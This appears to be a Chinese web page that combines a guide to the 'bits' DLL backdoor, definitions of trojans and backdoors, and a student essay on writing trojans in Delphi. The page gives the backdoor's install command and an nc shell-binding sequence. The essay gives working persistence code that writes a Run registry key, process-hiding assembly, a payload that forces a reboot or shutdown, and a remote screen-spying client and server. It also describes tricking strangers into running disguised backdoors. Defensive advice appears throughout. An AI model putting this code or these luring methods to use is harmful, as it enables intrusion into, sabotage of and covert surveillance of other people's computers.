1.手无寸铁轻易清除“dll后门木马”

2.什么叫木马?什么叫后门?

3.电脑网络中的“后门”是什么意思?

手无寸铁轻易清除“dll后门木马”

电脑系统后门木马制作方法-后门木马病毒

一直以来,我们都认为木马是以exe结尾的可执行文件,只要不运行exe为后缀的文件就可以了。但如果木马都这么容易辨别,那就不能称为木马了。事实上有很多木马都不是以exe为后缀的,例如著名的后门木马工具bits,就是一款dll后门,整个后门程序只有一个dll文件,但却可以实现非常恐怖的效果。那么dll后门木马是如何运作的?我们又该如何清除dll后门木马呢?请看本文。

★编辑提示:dll后门木马的来历

dll(Dynamic

Link

Library)即系统的动态链接库文件。dll文件本身并不可以运行,需要应用程序调用。当程序运行时,Windows将dll文件装入内存中,并寻找文件中出现的动态链接库文件。dll后门木马实际就是把一段实现了木马功能的代码加上一些特殊代码写成dll文件。我们都知道正在运行的程序是不能关闭的,而dll后门木马会插入到这个应用程序的内存模块中,因此同样同样无法删除,这就是dll后门木马的高明之处。

dll后门木马通常只有一个文件,依靠动态链接程序库,由某一个EXE作为载体,或者使用Rundll32.exe来启动,插入到系统进程中,达到隐藏自身的目的。因此dll后门木马在隐藏技术上比普通木马有了质的飞跃,当然危害性也就大大增加了。

dll后门木马的运作方式

dll后门木马的危害主要分为两方面:1.隐蔽性,由于其可以?寄宿?于任一应用程序的进程,包括系统进程,因此我们很难发现其存在。2.难删除:上文中我们提到被dll后门木马插入的进程是无法结束的,因此要想清除并不容易。

我们来结合实际看看dll后门木马的使用和运作过程。bits是一款著名的dll后门木马,其具备了dll后门木马的所有特点,没有进程,也不开启端口,隐蔽性很强,是dll后门木马的代表。

bits的安装

bits只有一个dll文件bits.dll。点击?开始?运行?,输入?rundll32.exe

bits.dll,install

<123456>?即可成功让bits进驻系统。

▲安its

bits的使用

假设运行bits的计算机IP地址为192.168.0.1,黑客可以使用一款网络工具nc,在?命令提示符?中运行nc后输入命令?nc

192.168.0.1

80?。回车后会发现没有回显,此时我们需要输入?123456@dancewithdolphin[xell]:777?才能命令bits。这条命令的作用是绑定一个shell到本机的777端口,此时黑客再连接目标主机的777端口就可以在目标计算机上执行任意命令了。一般的dll后门木马都需要类似的安装和使用,虽然比普通木马要来得麻烦,但是威力是相当大的。

▲连接bits开启后门

清除木马

bits的清除还是比较简单的,首先运行注册表编辑器,定位到

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRasAutoParameters,将

ServiceDll的键值更改为?%SystemRoot%System32rasauto.dll?即可,然后将系统目录system32文件夹下的bits.dll删除即可。

▲清除bits

dll后门木马的防范

1、当系统存在问题时,我们可以查看进程中的dll文件,找出隐藏在其中的dll后门木马。查看进程中的dll文件可以使用Windows优化大师的进程管理功能,点击进程后,在下方会出现该进程中包含的dll文件,如果是系统进程,那么其dll文件的发行商都应该是?Microsoft?,否则就很有可能是dll后门木马。找到dll后门木马后将进程结束,再根据路径将dll后门木马删除即可。

2、及时更新杀毒软件。dll后门木马虽然和普通木马不同,但仍旧是木马,还是可以被杀毒软件查杀的,只要我们及时升级杀毒软件病毒库,对防范dll后门木马还是有很大帮助的。

什么叫木马?什么叫后门?

后门程序,跟我们通常所说的"木马"有联系也有区别.

联系在于:都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制.

区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一.

而且,在病毒命名中,后门一般带有backdoor字样,而木马一般则是trojan字样.

后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻

一个完整的“木马”程序包含了两部分:“服务器”和“控制器”。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了!

电脑网络中的“后门”是什么意思?

电脑网络中的“后门”即是网络的漏洞

一、问题的提出

"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."这是著名匿名服务器站点Anonymizer上曾有过的一段话。是的,在不知不觉中,E时代已经到来,网络给我们的生活增添了绚丽与多彩。但是,在这五彩缤纷的世界下面,潜伏着一股黑潮暗流--黑客(HACKER)。这个名词越来越引起世人的关注,而且影响越来越大,关于黑客事件的报道也越来越多。黑客是伴随网络产生成长的,是指那些对电脑和网络有狂热兴趣的人,他们不断的研究电脑和网络知识,发现电脑和网络中的漏洞,喜欢挑战高难度的网络系统,千方百计的寻找网络中的大小漏洞,然后向网络管理员提出解决漏洞的建议。真正的黑客大多是赋有正义感的。他们不会恶意侵入他人系统,并且破坏系统程序和数据。但有一些人特别崇拜黑客,喜欢利用电脑网络四处捣乱,到处寻找黑客软件,然后到处搞破坏,这类人应该是网络上最危险的家伙。现在的媒体把这类人是黑客混为一谈,"黑客"一词也因此成了贬义词。

现在的黑客软件十分多,Back Orific、冰河、YAI到处都有。接触网络后,我经常想:黑客软件到底是如何编制的?我能编一个黑客软件多好呀!这到不是想干坏事,因为在网络机房上课时,用一些黑客软件可以作为控制工具来控制学员的机器(如:冰河)。可见黑客软件本身不象病毒是个不好的东西,是可以用在正路上的。经过我的摸索,初步掌握了一些设计方法,主要是特洛伊木马程序。本次毕业设计,我设计一个模拟黑客入侵程序,一个恶作剧程序,一个可以截获网络上别人在机器上干些什么的程序,几个程序纯属用于实验,没有什么其它目的。在这里向各位老师汇报一下。程序设计的语言用的是PASCAL,用DELPHI 4进行编译。

二、"特洛伊木马"如何入侵系统

一个完整的"特洛伊木马"一般分为两个部分:一个是客户服务程序(Client),用它来控制已经打开"后门"的机器;另一个是"后门"程序,用它来开放某台机器。假设我们想控制某台电脑,那么我们通过一些手段来把"后门"程序传到该电脑中并使其运行,这样该电脑就变成了一台特殊的FTP服务器。然后我们使用Client程序就可以控制该电脑了。当然,后门程序如果不运行也就无法发挥作用。因此,就要"诱骗"别人使用后门程序。如果是朋友或熟人,利用他们的信任让他运行就行了;要是陌生人,可以在聊天室中和他们套近乎,一旦取得信任,把程序发给他们,诱骗其运行。当然,程序要隐蔽一些,例如可以把后门程序改名,变为README之类,或改变后缀,变成GIF、BMP等,当他们双击这些文件后就上了"贼船"了。也可以用WINZIP的把后门程序和一些东西制作成一个自解压包,然后利用设定解压后自动运行SETUP程序功能来运行指定的后门程序。总之,要利用一切手段使人家运行后门程序。

木马程序运行后,会通过不同的方式修改系统,以便以后启动系统后自动运行木马。修改方法一般是通过修改注册表:

Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和

Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的项目是在系统开机时自动加载的,我们可以在这两添加键值,达到自动启动的目的。以下的这段代码可以修改注册表,并调用API函数判断系统目录,复制文件到其下,以实行入侵系统的目的:

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,registry;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

var

regf:tregistry;

sysdir:pchar;

temp:string;

begin

getmem(sysdir,256);

getsystemdirectory(sysdir,128);

temp:=sysdir+'\client.exe';

freemem(sysdir,256);

regf:=tregistry.create;

regf.rootkey:=hkey_local_machine;

regf.openkey('software\microsoft\windows\currentversion\run',true);

regf.writestring(' ',temp);

regf.free;

copyfile(pchar('hacker.exe'),pchar(temp),true);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

close;

end;

end.

也有些高明的程序可以感染系统文件,附着在这些程序文件中,以达到其目的。我还没有搞清楚这是怎样办到的。

在Windows中按下Ctrl+Alt+Del可以显示当前运行的程序,这样一来,我们的木马程序不是要露馅了吗?以下这段汇编代码可以很方便的嵌入DELPHI或C++中,让别人看不到你的程序,可以很好的隐藏:

asm

mov ebx,30h

push es

push fs

pop es

mov ebx,es:[ebx]

pop es

mov eax,10800000h

xchg [ebx+20h],eax

end;

为什么这段汇编代码可以隐藏程序呢?据资料分析:在WINDOWS 9X加载应用程序时,FS指向的段就是类似于DOS应用程序的PSP,里面保存着一些有关应用程序重要数据,按下Ctrl+Alt+Del后,对于一个应用程序,若没有可显示的ENABLE窗口的名字,则系统要检查上面程序段中的特定双字是不是10800000h,如果是就不显示这个应用程序的可执行文件的名字。

下面是一个恶作剧的程序,入侵计算机后,每次开机后,随机出现鼠标乱跑并发出怪叫、热启动、强行关机的现象,让你无法进入WINDOWS 9X。对于一般的计算机用户来说,因为找不出这个程序在何处,所以只能格式化系统区,重新安装系统。

program hacker;

uses

windows;

var temp:integer;

begin

asm

mov ebx,30h

push es

push fs

pop es

mov ebx,es:[ebx]

pop es

mov eax,10800000h

xchg [ebx+20h],eax

end;

randomize;

temp:=random(3);

if temp=0 then

while(true) do

begin

messagebeep(0);

SetCursorPos (random(640),random(480));

end

else if temp=1 then

ExitWindowsEx(EWX_REBOOT,0)

else ExitWindowsEx(EWX_SHUTDOWN,0);

end.

有的木马为了防止发现后被清除,在启动时会产生一个备份,一般是感染WINDOWS的系统文件,当木马被发现并清除后,备份会自动激活,使你依然处于远程黑手的控制。比如当前国最盛行的"冰河",首先会修改注册表的启动项目,将自己复制两份到系统中,分别为KERNEL32.EXE和SYSEXPLE.EXE,并且修改TXT文件的打开方式,一旦KERNEL32.EXE被删除,那么当打开一个TXT文件时,SYSEXPLE.EXE将再产生一个KERNEL32.EXE文件。

另外,有的木马还能在运行后修改文件名,或者复制感染系统后,进行自我销毁,使用户很难进行查找。

三、木马的种类

1、破坏型

惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL、INI、EXE文件。

2、密码发送型

可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用WINDOWS提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录操作者的键盘操作,从中寻找有用的密码。

在这里提醒一下,不要认为自己在文档中加了密码而把重要的保密文件存在公用计算机中,那你就大错特错了。别有用心的人完全可以用穷举法暴力破译你的密码。利用WINDOWS API函数EnumWindows和EnumChildWindows对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找我们应该单击的按钮,通过ES_PASSWORD查找我们需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT消息模拟输入密码,向按钮窗口发送WM_COMMAND消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通程序设计的人,完全可以自编一个。

3、远程访问型

最广泛的是特洛伊马,只需有人运行了服务端程序,如果客户知道了服务端的IP地址,就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么,当然这个程序完全可以用在正道上的,比如监视学生机的操作。

程序中用的UDP(User Datagram Protocol,用户报文协议)是因特网上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。它不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用了UDP协议。本程序中用了DELPHI提供的TNMUDP控件。

受控机程序部分:

让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的ONDATARECEIVED事件;REMOTEPORT属性设为2222,当控件CUDP发送数据时,将数据发送到主控机的2222口。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

NMUDP, ComCtrls;

type

Tclient = class(TForm)

cudp: TNMUDP;

Animate1: TAnimate;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure cudpDataReceived(Sender: TComponent; NumberBytes: Integer;

FromIP: String);

private

{ Private declarations }

public

{ Public declarations }

end;

var

client: Tclient;

implementation

const bufsize=2048;//发送每一批数据的缓冲区大小

var

bmpstream:tmemorystream;

leftsize:longint;

{$R *.DFM}

procedure screencap(leftpos,toppos,rightpos,bottompos:integer);

var

recwidth,recheight:integer;

sourcedc,destdc,bhandle:integer;

bitmap:Tbitmap;

begin

recwidth:=rightpos-leftpos;

recheight:=bottompos-toppos;

sourcedc:=createdc('display','','',nil);

destdc:=createcompatibledc(sourcedc);

bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);

selectobject(destdc,bhandle);

bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,srccopy);

bitmap:=tbitmap.Create;

bitmap.Handle:=bhandle;

bitmap.SaveToStream(bmpstream);

bmpstream.Position:=0;

leftsize:=bmpstream.Size;

bitmap.Free;

deletedc(destdc);

releasedc(bhandle,sourcedc);

end;

procedure Tclient.FormCreate(Sender: TObject);

begin

bmpstream:=tmemorystream.create;

end;

procedure Tclient.FormDestroy(Sender: TObject);

begin

bmpstream.free;

end;

procedure Tclient.cudpDataReceived(Sender: TComponent;

NumberBytes: Integer; FromIP: String);

var

ctrlcode:array[0..29] of char;

buf:array[0..bufsize-1] of char;

tmpstr:string;

sendsize,leftpos,toppos,rightpos,bottompos:integer;

begin

cudp.ReadBuffer(ctrlcode,numberbytes);//读取控制码

if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'

then

begin//控制码前4位为"SHOW"表示主控机发出了截屏指令

if bmpstream.Size=0 then//没有数据可发,必须截屏生成数据

begin tmpstr:=strpas(ctrlcode);

tmpstr:=copy(tmpstr,5,length(tmpstr)-4);

leftpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));

tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));

toppos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));

tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));

rightpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));

bottompos:=strtoint(copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));

screencap(leftpos,toppos,rightpos,bottompos);//调用截屏函数

end;

if leftsize>bufsize then sendsize:=bufsize

else sendsize:=leftsize;

bmpstream.ReadBuffer(buf,sendsize);

leftsize:=leftsize-sendsize;

if leftsize=0 then bmpstream.Clear;

cudp.RemoteHost:=fromip;//FROMIP为主控机IP地址

cudp.SendBuffer(buf,sendsize);//将数据发到主控机的2222端口

end;

end;

end.

主控机程序部分:

让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发SUDP的ONDATARECEIVED事件;REMOTEPORT属性设为1111,当控件SUDP发送数据时,将数据发到受控机的1111口。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, StdCtrls, Buttons, NMUDP;

type

Tsever = class(TForm)

Edit1: TEdit;

Edit2: TEdit;

Label1: TLabel;

Label2: TLabel;

BitBtn1: TBitBtn;

Image1: TImage;

BitBtn2: TBitBtn;

sudp: TNMUDP;

procedure BitBtn2Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure BitBtn1Click(Sender: TObject);

procedure sudpDataReceived(Sender: TComponent; NumberBytes: Integer;

FromIP: String);

private

{ Private declarations }

public

{ Public declarations }

end;

var

sever: Tsever;

implementation

const bufsize=2048;

var

rsltstream,tmpstream:tmemorystream;

{$R *.DFM}

procedure Tsever.BitBtn2Click(Sender: TObject);

begin

close;

end;

procedure Tsever.FormCreate(Sender: TObject);

begin

rsltstream:=tmemorystream.create;

tmpstream:=tmemorystream.create;

end;

procedure Tsever.FormDestroy(Sender: TObject);

begin

rsltstream.free;

tmpstream.free;

end;

procedure Tsever.BitBtn1Click(Sender: TObject);

var

reqcode:array[0..29] of char;

reqcodestr:string;

begin

reqcodestr:='show'+edit1.text;

strpcopy(reqcode,reqcodestr);

tmpstream.Clear;

rsltstream.Clear;

sudp.RemoteHost:=edit2.Text;

sudp.SendBuffer(reqcode,30);

end;

procedure Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;

FromIP: String);

var reqcode:array[0..29] of char;

reqcodestr:string;

begin

reqcodestr:='show'+edit1.text;

strpcopy(reqcode,reqcodestr);

sudp.ReadStream(tmpstream);

rsltstream.CopyFrom(tmpstream,numberbytes);

if numberbytes<bufsize then

begin

rsltstream.Position:=0;

image1.Picture.Bitmap.LoadFromStream(rsltstream);

tmpstream.Clear;

rsltstream.Clear;

end

else

begin

tmpstream.Clear;

reqcode:='show';

sudp.RemoteHost:=edit2.Text;

sudp.SendBuffer(reqcode,30);

end;

end;

end.

四、如何预防黑客

黑客程序虽然破坏大,但不是不能防止的。

1、处理好你的密码

我们一般是用账号和密码来上网的,密码的设置无疑是十分讲求技巧的,许多人的安全防范意识差,不注意密码的设置,造成自己的账号被盗用。如今的黑客软件都是挂上密码字典,然后用穷举法进行破解,密码太简单,那么破解的可能性就大了。以下是一些注意事项。

⑴ 密码不可和账号相同,这是最容易被猜到的了。

⑵ 经常更改密码,拿到新账号后要立即更改密码,不要放久了。

⑶ 密码最好多于8个字符,字符越长,破解难度越大。例如WORD文档的密码大于8位后,目前的破解软件几乎无法攻破。另外,最好在密码中加入一些控制键,增加破译难度。千万不可用单一的字母或数字。

⑷ 有人喜欢用自己的生日、电话、身份证号码等作为密码,你不要这样做。

⑸ 密码尽量不要记显眼的纸张上,更不能保存在计算机中,不要贪图一时方便,用WINDOWS提供的保存密码功能。

2、不要运行不明真相的程序

无论都高明的黑客程序,只要你不去运行它,就无法害到你。所以,不可相信网友的话,不要去运行他提供的程序;不要随意去打开别人寄来的附件,无论他把附件中的或影片吹得如何好看;要到大的、著名的网站去下载软件,千万不要到不明真象的个人网页下载,因为在那儿你可能下载的病毒和黑客之手;如果你十分羡慕黑客,也请你不要下载所谓的黑客软件,否则你没害到别人,自己反被害了;如果你的机器上有防火墙,在上网时一定要打开,不要怕麻烦。

3、经常检查系统信息

上网过程中,突然觉得计算机工作不对劲时,仿佛感觉有人在遥远的地方遥控你。这时,你必须及时停止手中工作,运行"附件→系统工具→系统信息",在任务列表中寻找自己不熟悉的或者自己并没有运行的程序,一旦找到程序后应立即终止它的运行,以防后患。

4、最好不去聊天室

我一直认为聊天室没有什么意思,特别对于计算机专业人员,聊天只是浪费时间和金钱,有些恶意的破坏者利用网上聊天室的漏洞干坏事,例如聊天室支持JAVA、HTML等功能,然而,这小小的JAVA也隐藏"杀机",他可以发给你一个足以让你的机器当机的HTML语句。因为这些语句是不会在聊天室显示出来的,所以你被暗算了可能还不知道。防治的办法是在你的浏览器中关闭你的JAVA脚本。想聊天的,在公共机房聊聊算了,不能在自己的机器上聊天。